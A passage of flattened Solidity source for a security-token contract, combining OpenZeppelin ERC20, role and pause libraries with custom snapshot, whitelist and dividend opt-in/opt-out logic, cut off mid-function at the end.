/** * @title Utilities Contract * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; contract Utils { /** MODIFIERS **/ /** * @notice Check if the address is not zero */ modifier onlyValidAddress(address _address) { require(_address != address(0), "Invalid address"); _; } /** * @notice Check if the address is not the sender's address */ modifier isSenderNot(address _address) { require(_address != msg.sender, "Address is the same as the sender"); _; } /** * @notice Check if the address is the sender's address */ modifier isSender(address _address) { require(_address == msg.sender, "Address is different from the sender"); _; } /** * @notice Controle if a boolean attribute (false by default) was updated to true. * @dev This attribute is designed specifically for recording an action. * @param criterion The boolean attribute that records if an action has taken place */ modifier onlyOnce(bool criterion) { require(criterion == false, "Already been set"); _; criterion = true; } } // File: contracts/utils/Managed.sol pragma solidity ^0.5.7; contract Managed is Utils, Ownable { // managers can be set and altered by owner, multiple manager accounts are possible mapping(address => bool) public isManager; /** EVENTS **/ event ChangedManager(address indexed manager, bool active); /*** MODIFIERS ***/ modifier onlyManager() { require(isManager[msg.sender], "not manager"); _; } /** * @dev Set / alter manager / whitelister "account". This can be done from owner only * @param manager address address of the manager to create/alter * @param active bool flag that shows if the manager account is active */ function setManager(address manager, bool active) public onlyOwner onlyValidAddress(manager) { isManager[manager] = active; emit ChangedManager(manager, active); } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.2; /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol pragma solidity ^0.5.2; /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol pragma solidity ^0.5.2; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol pragma solidity ^0.5.2; /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token to a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowed[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol pragma solidity ^0.5.2; /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } // File: openzeppelin-solidity/contracts/access/Roles.sol pragma solidity ^0.5.2; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } // File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol pragma solidity ^0.5.2; contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol pragma solidity ^0.5.2; /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Pausable.sol pragma solidity ^0.5.2; /** * @title Pausable token * @dev ERC20 modified with pausable transfers. */ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } // File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol pragma solidity ^0.5.2; contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol pragma solidity ^0.5.2; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } // File: openzeppelin-solidity/contracts/utils/Address.sol pragma solidity ^0.5.2; /** * Utility library of inline functions on addresses */ library Address { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } // File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.2; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require((value == 0) || (token.allowance(address(this), spender) == 0)); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must equal true). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. require(address(token).isContract()); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool))); } } } // File: contracts/utils/Reclaimable.sol /** * @title Reclaimable * @dev This contract gives owner right to recover any ERC20 tokens accidentally sent to * the token contract. The recovered token will be sent to the owner of token. * @author Validity Labs AG <[email protected]> */ // solhint-disable-next-line compiler-fixed, compiler-gt-0_5 pragma solidity ^0.5.7; contract Reclaimable is Ownable { using SafeERC20 for IERC20; /** * @notice Let the owner to retrieve other tokens accidentally sent to this contract. * @dev This function is suitable when no token of any kind shall be stored under * the address of the inherited contract. * @param tokenToBeRecovered address of the token to be recovered. */ function reclaimToken(IERC20 tokenToBeRecovered) external onlyOwner { uint256 balance = tokenToBeRecovered.balanceOf(address(this)); tokenToBeRecovered.safeTransfer(msg.sender, balance); } } // File: openzeppelin-solidity/contracts/access/roles/WhitelistAdminRole.sol pragma solidity ^0.5.2; /** * @title WhitelistAdminRole * @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts. */ contract WhitelistAdminRole { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; constructor () internal { _addWhitelistAdmin(msg.sender); } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(msg.sender)); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(msg.sender); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } } // File: openzeppelin-solidity/contracts/access/roles/WhitelistedRole.sol pragma solidity ^0.5.2; /** * @title WhitelistedRole * @dev Whitelisted accounts have been approved by a WhitelistAdmin to perform certain actions (e.g. participate in a * crowdsale). This role is special in that the only accounts that can add it are WhitelistAdmins (who can also remove * it), and not Whitelisteds themselves. */ contract WhitelistedRole is WhitelistAdminRole { using Roles for Roles.Role; event WhitelistedAdded(address indexed account); event WhitelistedRemoved(address indexed account); Roles.Role private _whitelisteds; modifier onlyWhitelisted() { require(isWhitelisted(msg.sender)); _; } function isWhitelisted(address account) public view returns (bool) { return _whitelisteds.has(account); } function addWhitelisted(address account) public onlyWhitelistAdmin { _addWhitelisted(account); } function removeWhitelisted(address account) public onlyWhitelistAdmin { _removeWhitelisted(account); } function renounceWhitelisted() public { _removeWhitelisted(msg.sender); } function _addWhitelisted(address account) internal { _whitelisteds.add(account); emit WhitelistedAdded(account); } function _removeWhitelisted(address account) internal { _whitelisteds.remove(account); emit WhitelistedRemoved(account); } } // File: openzeppelin-solidity/contracts/math/Math.sol pragma solidity ^0.5.2; /** * @title Math * @dev Assorted math operations */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Calculates the average of two numbers. Since these are integers, * averages of an even and odd number cannot be represented, and will be * rounded down. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: contracts/token/ERC20/library/Snapshots.sol /** * @title Snapshot * @dev Utility library of the Snapshot structure, including getting value. * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; library Snapshots { using Math for uint256; using SafeMath for uint256; /** * @notice This structure stores the historical value associate at a particular timestamp * @param timestamp The timestamp of the creation of the snapshot * @param value The value to be recorded */ struct Snapshot { uint256 timestamp; uint256 value; } struct SnapshotList { Snapshot[] history; } /** TODO: within 1 block: transfer w/ snapshot, then dividend distrubtion, transfer w/ snapshot * * @notice This function creates snapshots for certain value... * @dev To avoid having two Snapshots with the same block.timestamp, we check if the last * existing one is the current block.timestamp, we update the last Snapshot * @param item The SnapshotList to be operated * @param _value The value associated the the item that is going to have a snapshot */ function createSnapshot(SnapshotList storage item, uint256 _value) internal { uint256 length = item.history.length; if (length == 0 || (item.history[length.sub(1)].timestamp < block.timestamp)) { item.history.push(Snapshot(block.timestamp, _value)); } else { // When the last existing snapshot is ready to be updated item.history[length.sub(1)].value = _value; } } /** * @notice Find the index of the item in the SnapshotList that contains information * corresponding to the timestamp. (FindLowerBond of the array) * @dev The binary search logic is inspired by the Arrays.sol from Openzeppelin * @param item The list of Snapshots to be queried * @param timestamp The timestamp of the queried moment * @return The index of the Snapshot array */ function findBlockIndex( SnapshotList storage item, uint256 timestamp ) internal view returns (uint256) { // Find lower bound of the array uint256 length = item.history.length; // Return value for extreme cases: If no snapshot exists and/or the last snapshot if (item.history[length.sub(1)].timestamp <= timestamp) { return length.sub(1); } else { // Need binary search for the value uint256 low = 0; uint256 high = length.sub(1); while (low < high.sub(1)) { uint256 mid = Math.average(low, high); // mid will always be strictly less than high and it rounds down if (item.history[mid].timestamp <= timestamp) { low = mid; } else { high = mid; } } return low; } } /** * @notice This function returns the value of the corresponding Snapshot * @param item The list of Snapshots to be queried * @param timestamp The timestamp of the queried moment * @return The value of the queried moment */ function getValueAt( SnapshotList storage item, uint256 timestamp ) internal view returns (uint256) { if (item.history.length == 0 || timestamp < item.history[0].timestamp) { return 0; } else { uint256 index = findBlockIndex(item, timestamp); return item.history[index].value; } } } // File: contracts/token/ERC20/ERC20Snapshot.sol /** * @title ERC20 Snapshot Token * @dev This is an ERC20 compatible token that takes snapshots of account balances. * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; contract ERC20Snapshot is ERC20 { using Snapshots for Snapshots.SnapshotList; mapping(address => Snapshots.SnapshotList) private _snapshotBalances; Snapshots.SnapshotList private _snapshotTotalSupply; event CreatedAccountSnapshot(address indexed account, uint256 indexed timestamp, uint256 value); event CreatedTotalSupplySnapshot(uint256 indexed timestamp, uint256 value); /** * @notice Return the historical supply of the token at a certain time * @param timestamp The block number of the moment when token supply is queried * @return The total supply at "timestamp" */ function totalSupplyAt(uint256 timestamp) public view returns (uint256) { return _snapshotTotalSupply.getValueAt(timestamp); } /** * @notice Return the historical balance of an account at a certain time * @param owner The address of the token holder * @param timestamp The block number of the moment when token supply is queried * @return The balance of the queried token holder at "timestamp" */ function balanceOfAt(address owner, uint256 timestamp) public view returns (uint256) { return _snapshotBalances[owner].getValueAt(timestamp); } /** OVERRIDE * @notice Transfer tokens between two accounts while enforcing the update of Snapshots * @param from The address to transfer from * @param to The address to transfer to * @param value The amount to be transferred */ function _transfer(address from, address to, uint256 value) internal { super._transfer(from, to, value); // ERC20 transfer _createAccountSnapshot(from, balanceOf(from)); _createAccountSnapshot(to, balanceOf(to)); } /** OVERRIDE * @notice Mint tokens to one account while enforcing the update of Snapshots * @param account The address that receives tokens * @param value The amount of tokens to be created */ function _mint(address account, uint256 value) internal { super._mint(account, value); _createAccountSnapshot(account, balanceOf(account)); _createTotalSupplySnapshot(account, totalSupplyAt(block.timestamp).add(value)); } /** OVERRIDE * @notice Burn tokens of one account * @param account The address whose tokens will be burnt * @param value The amount of tokens to be burnt */ function _burn(address account, uint256 value) internal { super._burn(account, value); _createAccountSnapshot(account, balanceOf(account)); _createTotalSupplySnapshot(account, totalSupplyAt(block.timestamp).sub(value)); } /** * @notice creates a total supply snapshot & emits event * @param amount uint256 * @param account address */ function _createTotalSupplySnapshot(address account, uint256 amount) internal { _snapshotTotalSupply.createSnapshot(amount); emit CreatedTotalSupplySnapshot(block.timestamp, amount); } /** * @notice creates an account snapshot & emits event * @param amount uint256 * @param account address */ function _createAccountSnapshot(address account, uint256 amount) internal { _snapshotBalances[account].createSnapshot(amount); emit CreatedAccountSnapshot(account, block.timestamp, amount); } function _precheckSnapshot() internal { // FILL LATER TODO: comment on how this is utilized // Why it's not being abstract } } // File: contracts/STO/token/WhitelistedSnapshot.sol /** * @title Whitelisted Snapshot Token * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; /** * Whitelisted Snapshot repurposes the following 2 variables inherited from ERC20Snapshot: * _snapshotBalances: only whitelisted accounts get snapshots * _snapshotTotalSupply: only the total sum of whitelisted */ contract WhitelistedSnapshot is ERC20Snapshot, WhitelistedRole { /** OVERRIDE * @notice add account to whitelist & create a snapshot of current balance * @param account address */ function addWhitelisted(address account) public { super.addWhitelisted(account); uint256 balance = balanceOf(account); _createAccountSnapshot(account, balance); uint256 newSupplyValue = totalSupplyAt(now).add(balance); _createTotalSupplySnapshot(account, newSupplyValue); } /** OVERRIDE * @notice remove account from white & create a snapshot of 0 balance * @param account address */ function removeWhitelisted(address account) public { super.removeWhitelisted(account); _createAccountSnapshot(account, 0); uint256 balance = balanceOf(account); uint256 newSupplyValue = totalSupplyAt(now).sub(balance); _createTotalSupplySnapshot(account, newSupplyValue); } /** OVERRIDE & call parent * @notice Transfer tokens between two accounts while enforcing the update of Snapshots * @dev the super._transfer call handles the snapshot of each account. See the internal functions * below: _createTotalSupplySnapshot & _createAccountSnapshot * @param from address The address to transfer from * @param to address The address to transfer to * @param value uint256 The amount to be transferred */ function _transfer(address from, address to, uint256 value) internal { // if available will call the sibiling's inherited function before calling the parent's super._transfer(from, to, value); /** * Possibilities: * Homogeneous Transfers: * 0: _whitelist to _whitelist: 0 total supply snapshot * 1: nonwhitelist to nonwhitelist: 0 total supply snapshot * Heterogeneous Transfers: * 2: _whitelist to nonwhitelist: 1 whitelisted total supply snapshot * 3: nonwhitelist to _whitelist: 1 whitelisted total supply snapshot */ // isWhitelistedHetero tells us to/from is a mix of whitelisted/not whitelisted accounts // isAdding tell us whether or not to add or subtract from the whitelisted total supply value (bool isWhitelistedHetero, bool isAdding) = _isWhitelistedHeterogeneousTransfer(from, to); if (isWhitelistedHetero) { // one account is whitelisted, the other is not uint256 newSupplyValue = totalSupplyAt(block.timestamp); address account; if (isAdding) { newSupplyValue = newSupplyValue.add(value); account = to; } else { newSupplyValue = newSupplyValue.sub(value); account = from; } _createTotalSupplySnapshot(account, newSupplyValue); } } /** * @notice returns true (isHetero) for a mix-match of whitelisted & nonwhitelisted account transfers * returns true (isAdding) if total supply is increasing or false for decreasing * @param from address * @param to address * @return isHetero, isAdding. bool, bool */ function _isWhitelistedHeterogeneousTransfer(address from, address to) internal view returns (bool isHetero, bool isAdding) { bool _isToWhitelisted = isWhitelisted(to); bool _isFromWhitelisted = isWhitelisted(from); if (!_isFromWhitelisted && _isToWhitelisted) { isHetero = true; isAdding = true; // increase whitelisted total supply } else if (_isFromWhitelisted && !_isToWhitelisted) { isHetero = true; } } /** OVERRIDE * @notice creates a total supply snapshot & emits event * @param amount uint256 * @param account address */ function _createTotalSupplySnapshot(address account, uint256 amount) internal { if (isWhitelisted(account)) { super._createTotalSupplySnapshot(account, amount); } } /** OVERRIDE * @notice only snapshot if account is whitelisted * @param account address * @param amount uint256 */ function _createAccountSnapshot(address account, uint256 amount) internal { if (isWhitelisted(account)) { super._createAccountSnapshot(account, amount); } } function _precheckSnapshot() internal onlyWhitelisted {} } // File: contracts/STO/BaseOptedIn.sol /** * @title Base Opt In * @author Validity Labs AG <[email protected]> * This allows accounts to "opt out" or "opt in" * Defaults everyone to opted in * Example: opt out from onchain dividend payments */ pragma solidity ^0.5.7; contract BaseOptedIn { // uint256 = timestamp. Default: 0 = opted in. > 0 = opted out mapping(address => uint256) public optedOutAddresses; // whitelisters who've opted to receive offchain dividends /** EVENTS **/ event OptedOut(address indexed account); event OptedIn(address indexed account); modifier onlyOptedBool(bool isIn) { // true for onlyOptedIn, false for onlyOptedOut if (isIn) { require(optedOutAddresses[msg.sender] > 0, "already opted in"); } else { require(optedOutAddresses[msg.sender] == 0, "already opted out"); } _; } /** * @notice accounts who have opted out from onchain dividend payments */ function optOut() public onlyOptedBool(false) { optedOutAddresses[msg.sender] = block.timestamp; emit OptedOut(msg.sender); } /** * @notice accounts who previously opted out, who opt back in */ function optIn() public onlyOptedBool(true) { optedOutAddresses[msg.sender] = 0; emit OptedIn(msg.sender); } /** * @notice returns true if opted in * @param account address * @return optedIn bool */ function isOptedIn(address account) public view returns (bool optedIn) { if (optedOutAddresses[account] == 0) { optedIn = true; } } } // File: contracts/STO/token/OptedInSnapshot.sol /** * @title Opted In Snapshot * @author Validity Labs AG <[email protected]> */ pragma solidity ^0.5.7; /** * Opted In Snapshot repurposes the following 2 variables inherited from ERC20Snapshot: * _snapshotBalances: snapshots of opted in accounts * _snapshotTotalSupply: only the total sum of opted in accounts */ contract OptedInSnapshot is ERC20Snapshot, BaseOptedIn { /** OVERRIDE * @notice accounts who previously opted out, who opt back in */ function optIn() public { // protects against TODO: Fill later super._precheckSnapshot(); super.optIn(); address account = msg.sender; uint256 balance = balanceOf(account); _createAccountSnapshot(account, balance); _createTotalSupplySnapshot(account, totalSupplyAt(now).add(balance)); } /** OVERRIDE * @notice call parent f(x) & * create new snapshot for account: setting to 0 * create new shapshot for total supply: oldTotalSupply.sub(balance) */ function optOut() public { // protects against TODO: Fill later super._precheckSnapshot(); super.optOut(); address account = msg.sender; _createAccountSnapshot(account, 0); _createTotalSupplySnapshot(account, totalSupplyAt(now).sub(balanceOf(account))); } /** OVERRIDE * @notice Transfer tokens between two accounts while enforcing the update of Snapshots * @param from The address to transfer from * @param to The address to transfer to * @param value The amount to be transferred */ function _transfer(address from, address to, uint256 value) internal { // if available will call the sibiling's inherited function before calling the parent's super._transfer(from, to, value); /** * Possibilities: * Homogeneous Transfers: * 0: opted in to opted in: 0 total supply snapshot * 1: opted out to opted out: 0 total supply snapshot * Heterogeneous Transfers: * 2: opted out to opted in: 1 whitelisted total supply snapshot * 3: opted in to opted out: 1 whitelisted total supply snapshot */ // isOptedHetero tells us to/from is a mix of opted in/out accounts // isAdding tell us whether or not to add or subtract from the opted in total supply value (bool isOptedHetero, bool isAdding) = _isOptedHeterogeneousTransfer(from, to); if (isOptedHetero) { // one account is whitelisted, the other is not uint256 newSupplyValue = totalSupplyAt(block.timestamp); address account; if (isAdding) { newSupplyValue = newSupplyValue.add(value); account = to; } else { newSupplyValue = newSupplyValue.sub(value); account = from; } _createTotalSupplySnapshot(account, newSupplyValue); } } /** * @notice returns true for a mix-match of opted in & opted out transfers. * if true, returns true/false for increasing either optedIn or opetedOut total supply balances * @dev should only be calling if both to and from accounts are whitelisted * @param from address * @param to address * @return isOptedHetero, isOptedInIncrease. bool, bool */ function _isOptedHeterogeneousTransfer(address from, address to) internal view returns (bool isOptedHetero, bool isOptedInIncrease) { bool _isToOptedIn = isOptedIn(to); bool _isFromOptedIn = isOptedIn(from); if (!_isFromOptedIn && 